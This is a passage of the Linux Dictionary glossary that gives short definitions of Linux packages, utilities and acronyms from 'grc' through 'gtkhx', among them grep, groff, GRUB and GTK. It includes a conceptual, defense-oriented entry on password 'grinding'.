Clone of Gravity Force, for SVGA Gravity Wars is based on Gravity Force, one of the greatest games for the Amiga. This version is a little different, with a much higher resolution, and better graphics. It also includes some new features like water, exploding doors, bonus objects, fans (ie. wind), and some other special effects like exploding bullets, and splashing water.. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grc

Linux Dictionary

generic colouriser for everything generic colouriser, can be used to colourise logfiles, output of commands, arbitrary text.... configured via regexp's. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRC

Generic Reference Configuration From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grdb

sets your Xresources from your gtk theme grdb tries to apply the colors from your gtk theme to Xt/Motif/Tk apps. It does this by setting variables based on the current theme and piping them, along with some (supplied) appdefaults files into an "xrdb -merge" command. grdb uses the same appdefaults files as krdb from KDE. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grdb-capplet

Gnome capplet for the grdb program grdb-capplet provides a capplet in the gnome control center for the grdb program. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRE

Generic Routing Encapsulation (RFC 1701, VPN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

greg

A tool testing framework. Greg is a framework for testing other programs and libraries. Its purpose is to provide a single front end for all tests and to be a small, simple framework for writing tests. Greg leverages off the Guile language to provide all the power (and more) of other test frameworks with greater simplicity and ease of use. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grep

/grep/ vi. [from the qed/ed editor idiom g/re/p, where re stands for a regular expression, to Globally search for the Regular Expression and Print the lines containing matches to it, via Unix grep(1)] To rapidly scan a file or set of files looking for a particular string or pattern (when browsing through a large set of files, one may speak of `grepping around'). By extension, to look for something by pattern. "Grep the bulletin board for the system backup schedule, would you?" See also vgrep. [It has also been alleged that the source is from the title of a paper "A General Regular Expression Parser -ESR] From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GREP

Global Regular Expression Print (Unix) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grep

GNU grep, egrep and fgrep. The GNU family of grep utilities may be the "fastest grep in the west". GNU grep is based on a fast lazy-state deterministic matcher (about twice as fast as stock Unix egrep) hybridized with a Boyer-Moore-Gosper search for a fixed string that eliminates impossible text from being considered by the full regexp matcher without necessarily having to look at every character. The result is typically many times faster than Unix grep or egrep. (Regular expressions containing backreferencing will run more slowly, however.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Grep

Linux abbreviation for "get regular expression". A grep tool lets you search through a set of text files for a pattern called the regular expression, which is a syntax that lets you specify in great detail what kind of text you're looking for. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grep

print lines matching a pattern From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grep

The GNU versions of commonly used grep utilities. Grep searches one or more input files for lines which contain a match to a specified pattern and then prints the matching lines. GNU's grep utilities include grep, egrep and fgrep. You should install grep on your system, because it is a very useful utility for searching through text files, for system administration tasks, etc. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Grep (Global Regular Expression and Print)

A tool that searches files for a string of text and outputs any line that contains the pattern. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grep-dctrl

Grep Debian package information The grep-dctrl program can answer such questions as * "What is the Debian package foo?" * "Which version of the Debian package bar is now current?" * "Which Debian packages does John Doe maintain?" * "Which Debian packages are somehow related to the Scheme programming language?" and with some help * "Who maintain the essential packages of a Debian system?" given a useful input file. It is a specialised grep program that is meant for processing any file which has the general format of a Debian package control file. These include the dpkg available file, the dpkg status file, and the Packages files on a distribution medium (such as a Debian CD-ROM or an FTP site carrying Debian). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grepmail

search mailboxes for mail matching an expression Grepmail looks for mail messages containing a pattern, and prints the resulting messages. Usage is very similar to grep. It can handle compressed mailbox files, and can search the header or body of emails. It also supports searches constrained by date and size. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gretl

The GNU Regression, Econometric & Time-Series Library The GNU Regression, Econometric and Time-Series Library (gretl) is a software package for econometric analysis. It is currently at an experimental, "alpha", stage. The package comprises a shared library, a command-line client program, and a graphical client built using GTK+. This package provides the GTK+ client and the command-line client. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gri

a language for scientific illustration. Gri is an open-source language for scientific graphics programming. It is command-driven, as opposed to point/click. Some users consider Gri similar to LaTeX, since both provide extensive power as a reward for tolerating a learning curve. The output is industry-standard PostScript as output, suitable for inclusion in other documents. Gri can make x-y graphs, contour graphs, and image graphs. Fine control is provided over all aspects of drawing, e.g. line widths, colors, fonts, etc. Greek letters and mathematical symbols are available in a TeX-like syntax. Folks who write 1000-line Gri scripts usually start with something as simple as the following: open file.dat # open a file read columns x * y # read the 1st column as x and the 3rd as y draw curve # draw the data and autoscale the axes A full manual is also available in HTML (gri-html-doc package), in PostScript suitable for printing (gri-ps-doc package) and on-line by following links from the gri home page: <http://gri.sourceforge.net/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRIC

Global Research Internet Connection (org., ISP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grind

To continually guess passwords to find the correct one. Analogy: If someone steals your bank card, they cannot sit in front of the cash machine and guess all possible PIN numbers. After a certain number of unsuccessful tries, the bank machine will "eat" the card. Key point: Secure systems (UNIX, Windows NT) lock out accounts after a certain number of unsuccessful tries. These lock-outs can either be temporary (and restore themselves automatically), or permanent until an administrator intervenes and unlocks the account. Key point: Non-secure systems (Win9x and many software applications) do not lock out accounts. For example, if you have Win9x "File and Print Sharing" turned on and protected with a password, a hacker can try continuously and invisibly to gain access to your machine. Nothing is logged, nothing is locked out. Contrast: When brute-force cracking, the hacker does all the calculations himself (comparing them against the stolen encrypted password file). When doing a grind, the hacker must enter the passwords one by one, and the target system does the calculations to see if they are valid. An intrusion detection system can detect grinds, but not cracks. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRINS

GRaphical iNterface to SMIL (SMIL, Oratix), "GRiNS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grip

GNOME-based CD-player/ripper/encoder It has the ripping capabilities of cdparanoia builtin, but can also use external rippers (such as cdda2wav). It also provides an automated frontend for MP3 encoders, letting you take a disc and transform it easily straight into MP3s. The CDDb protocol is supported for retrieving track information from disc database servers. Grip works with DigitalDJ to provide a unified "computerized" version of your music collection. NOTICE: Old Grip did not depend on GNOME. But, the latest must depend on GNOME. You must install GNOME library to use Grip. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grip

Grip is a gtk-based cd-player and cd-ripper. It has the ripping capabilities of cdparanoia built in, but can also use external rippers (such as cdda2wav). It also provides an automated frontend for MP3 encoders, letting you take a disc and transform it easily straight into MP3s. The CDDb protocol is supported for retrieving track information from disc database servers. Grip works with DigitalDJ to provide a unified "computerized" version of your music collection. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grmonitor

Graphical Process Monitor Gr_Monitor continuously displays information about processes resident on a UNIX system. For each process it displays a 3D bar graph of CPU consumed, memory consumed, resident set size, and elapsed time. The processes are grouped by username. Each username grouping sits on its own little plinth. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff

front end for the groff document formatting system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff

GNU troff text-formatting system This package contains optional components of the GNU troff text-formatting system. The core package, groff-base, contains the traditional tools like troff, nroff, tbl, eqn, and pic. This package contains additional devices and drivers for output to DVI, HTML, HP LaserJet printers, Canon CAPSL LBP-4 and LBP-8 printers, and PostScript. Besides these, the groff package contains man pages describing the language and its macro sets, info documentation, and a number of supplementary programs: - grn, a preprocessor for pictures in the 'gremlin' format; - tftodit, which creates font files for use with 'groff -Ttvi'; - hptodit, which creates font files for use with 'groff -Tlj4'; - afmtodit, which creates font files for use with 'groff -Tps'; - refer, which preprocesses bibliographic references for use with groff; - indxbib, which creates inverted indices for bibliographic databases used by 'refer'; - lkbib and lookbib, which search bibliographic databases; -

addftinfo, which adds metric information to troff font files for use with groff; - pfbtops, which translates a PostScript font in .pfb format to ASCII for use with groff; - mmroff, a simple groff preprocessor which expands references in mm. All the standard macro packages are supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff

Groff is a document formatting system. Groff takes standard text and formatting commands as input and produces formatted output. The created documents can be shown on a display or printed on a printer. Groff's formatting commands allow you to specify font type and size, boldtype, italic type, the number and size of columns on a page, and more. You should install groff if you want to use it as a document formatting system. Groff can also be used to format man pages. If you are going to use groff with the X Window System, you'll also need to install the groff-gxditview package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff-base

GNU troff text-formatting system (base system components) This package contains the traditional UN*X text formatting tools troff, nroff, tbl, eqn, and pic. These utilities, together with the man-db package, are essential for displaying the on-line manual pages. groff-base is a stripped-down package containing the necessary components to read manual pages in ASCII, Latin-1, and UTF-8. Users who want a full groff installation, with the standard set of devices, fonts, macros, and documentation, should install the groff package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff-for-man

The groff-for-man package contains the parts of the groff text processor package that are required for viewing manpages. For a full groff package, install package groff. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groff-x11

GNU troff components for the X Window System This package contains the X75, X75-12, X100, and X100-12 groff devices, which allow groff output to be conveniently viewed on an X display using the standard X11 fonts. These devices display their output with gxditview, which is also included here. gxditview can also be used to view PostScript output from groff. With this package installed, 'man -X' can show man pages in a graphical window. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grog

guess options for groff command From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groovycd

A ncurses based CD player. Groovy CD Player is an ncurses based CD player for Linux with a really cool interface and big fluffy numbers. It has CDDb support, and local caching for quick reload. Planned features include submittable CDDb records and a spectrum analyzer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grotty

groff driver for typewriter-like devices From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groundhog

A simple logic game. The purpose is to put balls in pockets of the same color by manipulating a maze of tubes. For more information: <http://home-2.consunet.nl/~cb007736/groundhog.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

group

a collection of users who have protected access to their resources. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

group ID (GID)

Linux Dictionary

A unique identifier for UNIX and Linux groups. Users and files are assigned GIDs to determine permissions and access control. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groupadd

Create a new group From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groupdel

Delete a group From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groupmod

Modify a group From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

groups

print the groups a user is in From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Groupware

Programs that help people work together collectively while located remotely from each other.

Groupware services can include the sharing of calendars, collective writing, e-mail handling, shared database access, electronic meetings with each person able to see and display information to others, and other activities. For Linux there is the Teamwave Workplace and Lotus Notes will be ported.

From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Groupware

Programs that increase the cooperation and joint productivity of small groups of co-workers. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grpck

verify integrity of group files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grpconv

convert to and from shadow passwords and groups. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grpmi

grpmi is a graphical frontend to show progression of download and installation of software packages.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grpn

GTK+ reverse polish notation calculator grpn is a reverse polish notation calculator which uses the GTK+ widgets. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRPS

General Packet Radio Service (GSM, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grpunconv

convert to and from shadow passwords and groups. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRUB

GRand Unified Bootloader (GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grub

GRand Unified Bootloader GRUB is a GPLed bootloader intended to unify boot loading across x86 operating systems. In addition to loading the Linux kernel, it implements the Multiboot standard, which allows for flexible loading of multiple boot images (needed for modular kernels such as the GNU Hurd). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grub

GRUB (Grand Unified Boot Loader) is a boot loader capable of booting into most free operating systems – Linux, FreeBSD, NetBSD, GNU Mach, and others as well as most commercial operating systems. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grub

GRUB is a GPLed bootloader intended to unify bootloading across x86 operating systems. In addition to loading the Linux and *BSD kernels, it implements the Multiboot standard, which allows for flexible loading of multiple boot images (needed for modular kernels such as the GNUHurd). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRUB

See Grand Unified Bootloader (GRUB). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grub-client

An Open Source, distributed effort, data submission client This is the Grub crawler client, used to provide real time notification updates of webpage content to the distributed, Open Source project run and maintained at <<http://grub.org/>>. You will have to request a client-id at the homepage to let you join the force. This is needed for authenticated submissions to the database. Also, currently you can only join if you have a static IP address. Grub, in turn, provides the returned updates to any indexing or search project that needs crawled content themselves. Notifications are FREE for public consumption, but there will be some type of charge for larger queries to their database, such as those needed by the larger engines. By centralizing and organizing the crawling process, Grub hopes to increase the rate at which the Internet can be crawled and simultaneously decrease the amount of crawler traffic required for sites wanting their content indexed on a regular basis. Please don't confuse this package with the bootloader with the same name. It has nothing to do with it besides the name. The project is currently searching for a better name. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gruftistats

Generate a web page with statistics about an IRC channel. gruftistats is a program which reads your IRC logs and turns them into a web page. This has a mixture of statistics (like who talked most), and amusing facts (like who got kicked most). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grun

GTK based Run dialog gRun is a GTK based Run dialog that closely resembles the Windows Run dialog, just like xexec. It has an intelligent history mechanism and a dual level fork() mechanism for launching the application in its own process. gRun also has support for launching console mode application in an XTerm as well as associations for file types. gRun is much more powerful than xexec, looks a lot better, and has the big advantage that you can start typing a command without having to mouse-click into the text field. gRun is especially useful if you do not use the GNOME desktop which has a built-in run command, and if you use a window-manager (e.g. IceWM) where you can define a keyboard shortcut (e.g. Alt-F2) for starting gRun. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grunch

Merge partial scans into a larger image grunch is a package of scripts and software which can take a pair of side-by-side partial scans of an image, and merge them into a single image without leaving an obvious seam. It was written to allow LP record jackets to be scanned using an ordinary single-page flatbed scanner. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GS

General Standard (MIDI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GS

Gepruefte Sicherheit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gs

Ghostscript (PostScript and PDF language interpreter and previewer) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gs

The Ghostscript Postscript interpreter Ghostscript is used for postscript preview and printing. Usually as a back-end to a program such as ghostview, it can display postscript documents in an X11

environment. Furthermore, it can render postscript files as graphics to be printed on non-postscript printers. Supported printers include common dot-matrix, inkjet and laser models. Package gsfnts contains a set of standard fonts for ghostscript. The Ghostscript World Wide Web home page is at <http://www.ghostscript.com/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gs-common

Common files for different Ghostscript releases There are two different flavours of the Ghostscript postscript interpreter, released under different licenses: GNU Ghostscript: Free software released under the GPL. This package is included in Debian in the "gs" package. AFPL Ghostscript: This flavour is the more current and more up to date one but under a license that is not free. If you want to use that package please make sure that you agree to the license. The AFPL variant of Ghostscript is not part of the official Debian distribution but we provide a package for it in the non-free section as a service to our users. This package contains the common files of both packaging for managing the font installation and some wrapper scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gs-gnu

Ghostscript (PostScript and PDF language interpreter and previewer) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gs-pdfencrypt

Provides support to view encrypted PDFs with GhostScript. This package provides the modifications necessary to view encrypted PDF files with the gs and gs-aladdin packages. When you give a PDF document an owner password, Adobe Acrobat encrypts it so that you can't just remove the password from the file. Unfortunately, because of stupid US regulations about exporting cryptographic software, the encryption cannot be added into programs like GhostScript which are distributed with source code from the US. You have to install this package to be able to view encrypted PDF files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gscanbus

scan IEEE1394 (firewire/i.link) bus gscanbus is a little bus scanning, testing and topology visualizing tool for the Linux IEEE1394 subsystem, with some AV/C support, especially for controlling Camcorders and VCRs. It is intended as a debugging tool for IEEE1394 development, but can also be used to simply check your IEEE1394 setup on Linux. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsdict

GNUstep frontend to the dict UNIX utility Based on the object oriented GNUstep environment, this program is a frontend to the query/response protocol 'dict' that allows a client to access dictionary definitions from a set of dictionary databases. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSDK

Game Software Development Kit (Linux, GGI, OpenGL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSDS

Genealogy Software Distribution System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsearchtool

the GNOME Search Tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsfonts

Fonts for the ghostscript interpreter These are free look-alike fonts of the Adobe Postscript fonts. Recommended for gs and gs-aladdin. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsftopk

render a ghostscript font in TeX pk format ' # small and boldface (not all –man's provide it) SB\1 \2
From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gshutdown

reboot or shutdown your machine From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSL

Graphics Software Labs (AT&T) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSL (GNU Scientific Library) -- binary package The GNU Scientific Library (GSL) is a collection of routines for numerical analysis. The routines are written from scratch by the GSL team in C, and are meant to present a modern API for C programmers, while allowing wrappers to be written for very high level languages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSM

Global System for Mobile communications From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSM

Groupe Speciale Mobile (org. , CEPT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsmartcard

A smart card reading, writing and managing program for Gnome Gnome Smart Card is a smart card reader for Gnome. It uses the program smartcard to communicate with the card reader and the cards. Both programs are developed close together. gsmartcard's ability to read/write different cards relies 100% on its underlying program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSMP

General Switch Management Protocol (DEC, Sprint) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsmssend

GNOME/GTK user interface for SmsSend GNOME SmsSend is a user interface to SmsSend, a tool which allows you to send short messages to any GSM mobile through their provider's web site. GNOME SmsSend will detect each provider's respective script file from SmsSend's preference directory or its global defaults and create a tab in its user interface for each one. GNOME SmsSend will then fork or execute smssend with the proper options to send the SMS message you input into it. It also provides a link to SmsSend's homepage where you can download the required script (if available) for your GSM provider if it is not already provided with the SmsSend package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSNW

Gateway Service for NetWare (MS, Windows NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSP

GNU Server Pages (GNU, Java, JSP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSS

Generic Security Service (IETF, GSS-API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSS

Group Support System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSSAPI

Generic Security Service API (RFC 2078, API), "GSS-API" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GST

Guam Standard Time [+1000] (TZ) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gstalker

Stock and commodity price charting utility The `gstalker` program charts stock and commodity prices in a way that is very similar to commercial software. `Gstalker` is designed to be simple and easy to use, and light on resources. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gstar

a gtk front-end for the `starchart` program `gstar` is a gtk front-end for the "starchart" program (originally by Alan Paeth, updated in 1990 by Craig Counterman) which generates high-quality postscript charts of any chosen region of the sky. It also prints the current Julian date and gives positions of the planets. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gstreamer

GStreamer is a streaming-media framework, based on graphs of filters which operate on media data. Applications using this library can do anything from real-time sound processing to playing videos, and just about anything else media-related. Its plugin-based architecture means that new datatypes or processing capabilities can be added simply by installing new plugins. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gsumi

pressure sensitive "ink" drawing The program allows drawing in black (pen) or white (eraser) on a high resolution bitmap which is filtered down to screen resolution. XInput devices can be used (with pressure support), and different tools and tool properties can be assigned to each device. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GSX

Graphics System eXtension From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtalk

plug-in replacement for standard talk GNU Talk supports talk protocols 0 & 1. Defines protocol 2. Client supports multiple connections, file transfer, primitive encryption, shared apps, auto-answer, multiple front-ends including GTK and Emacs. The daemon collects request versions 0, 1, & 2 together, and permits interaction between clients of different types. Also supports MRU tty announce, announce-redirect, blacklists, and tty-bomb filtering. This package contains the daemon and the clients. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtans

Tangram (puzzle) game using GTK+ The Tangram is a Chinese puzzle where the player has to arrange a set of pieces to match a given shape. All the pieces must be used and should not be laid on top of one another. The pieces are five triangles, a square and a parallelogram. `gtans` contains more than 290 figures to play with. It uses the mouse to control pieces. `gtans` is highly customizable using the interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtbl

format tables for troff From `whatis` <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTDM

Group Time Division Multiplexing [protocol] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtetrinet

multiplayer tetris-like game GTetrinet is a clone of Tetrinet, a multiplayer tetris version for Windows. It is compatible with the original tetrinet, although you need a separate program, such as `tetrinet-x`, to be able to create your own games. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTF

Generalized Timing Format (VESA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gthumb

an image viewer and browser for GNOME gThumb is an image viewer and browser for GNOME. It is based on gqview. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtick

GTK-based metronome gtick is a small metronome app that uses the GTK widgets. It outputs to /dev/dsp and features a scale from 30 beats per minute to 250 BPM and 2/4, 3/4, and 4/4 time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtimer

GTK-based X11 task timer Program to track how your time is spent. This useful piece of software allows multiple clocks to run simultaneously, allows for text annotations, and provides useful and portable reports (HTML and TXT formats.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gtk

At one point, before KDE was substantially complete, Qt antagonists reasoned that since there were more lines of Qt code than of KDE code, it would be better to develop a widget library from scratch—but that is an aside. The Gtk widget library was written especially for gimp (GNU Image Manipulation Program), is GPL'd and written entirely in C in low-level X calls (i.e., without the X Toolkit), object oriented, fast, clean, extensible and having a staggering array of features. It comprises Glib, a library meant to extend standard C, providing higher-level functions usually akin only to scripting languages, like hash tables and lists; Gdk, a wrapper around raw X Library to give GNU naming conventions to X, and to give a slightly higher level interface to X; and the Gtk library itself. Using Gtk, the Gnome project began, analogous to KDE, but written entirely in C. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTK

The GIMP Tool Kit is a set of widgets for the X11 windows system originally made for GIMP; the GNU Image Manipulation Program. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GTK

[GNU] GUI ToolKit (GNU, GUI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtk+

The gtk+ package contains the GIMP ToolKit (GTK+), a library for creating graphical user interfaces for the X Window System. GTK+ was originally written for the GIMP (GNU Image Manipulation Program) image processing program, but is now used by several other programs as well. If you are planning on using the GIMP or another program that uses GTK+, you'll need to have the gtk+ package installed. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gtk/Gtk+ (GIMP ToolKit)

A powerful, fast open source graphics library for the X window System on UNIX/Linux, used by programmers to create buttons, menus and other graphical objects. (Also, see GNOME, Motif and Qt.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkam

GTK+ application for digital still cameras gtkam is a graphical application based on GTK+ for digital still cameras supported by gphoto2. (<http://www.gphoto.org/gphoto2/>) It's available from the SourceForge gphoto project CVS repository. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkam

GTKam is now a part of the Gnome project, and is a fine interface for a wide variety of digital cameras. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkcookie

Editor for cookie files This package provides a graphical editor for cookie files as stored by Netscape or Mozilla. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkdialogs

Ready-to-use gtk+ dialog boxes:– xtest lets you test if X is running or not– gmessage show a message and some buttons, it returns with the number of the pressed button– gchooser presents a list of entries from which the user can choose From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkdiff

A graphical text comparison tool gtkdiff is a graphical GTK/Gnome front-end to diff. gtkdiff can be used to compare files for directories. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkfind

Graphical File Finder This package provides a graphical file finding program. Also includes a safe mktmp program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkfontsel

A gtk+ based font selection utility This is a nice utility for browsing, previewing and selecting a X11 font to insert its correct name via the X clipboard into a configuration file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkglarea5

Gimp Toolkit OpenGL area widget shared library A GTK widget for use with Mesa, an unlicensed OpenGL clone. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkglareamm1

C++ bindings for the GtkGLArea widget A Gtk-- widget for use with OpenGL From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkgo

GTK based go playing program with skins. A GTK-based go playing program. You can play go against another player or against a weak computer player. This program's main advantage is a pretty interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkgraph

an interactive function-plotter/calculator GtkGraph is an application designed to replace a conventional graphing calculator. It allows you to plot up to 10 functions on the same graph. Graphs may be exported to PostScript, printed, or exported to any bitmap file format that Imlib supports. The user can zoom and scroll, or set the range manually with X/Y minimums and X/Y maximums. In addition, a small arithmetic calculator window is included, which has a convenient history mechanism. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkgrepmail

A gtk front-end to grepmail A gtk front end to grepmail which provides you with a GUI interface to search through your sent and saved mail. Support is provided for both local mailboxes and remote mailboxes that are accessible using IMAP and ssh/rsh. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkhtml

GtkHTML is a HTML rendering/editing library. GtkHTML is not designed to be the ultimate HTML browser/editor: instead, it is designed to be easily embedded into applications that require lightweight HTML functionality. GtkHTML was originally based on KDE's KHTMLW widget, but is now developed independently of it. The most important difference between KHTMLW and GtkHTML, besides being GTK-based, is that GtkHTML is also an editor. Thanks to the Bonobo editor component that comes with the library, it's extremely simple to add HTML editing to an existing

application. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gtkhx

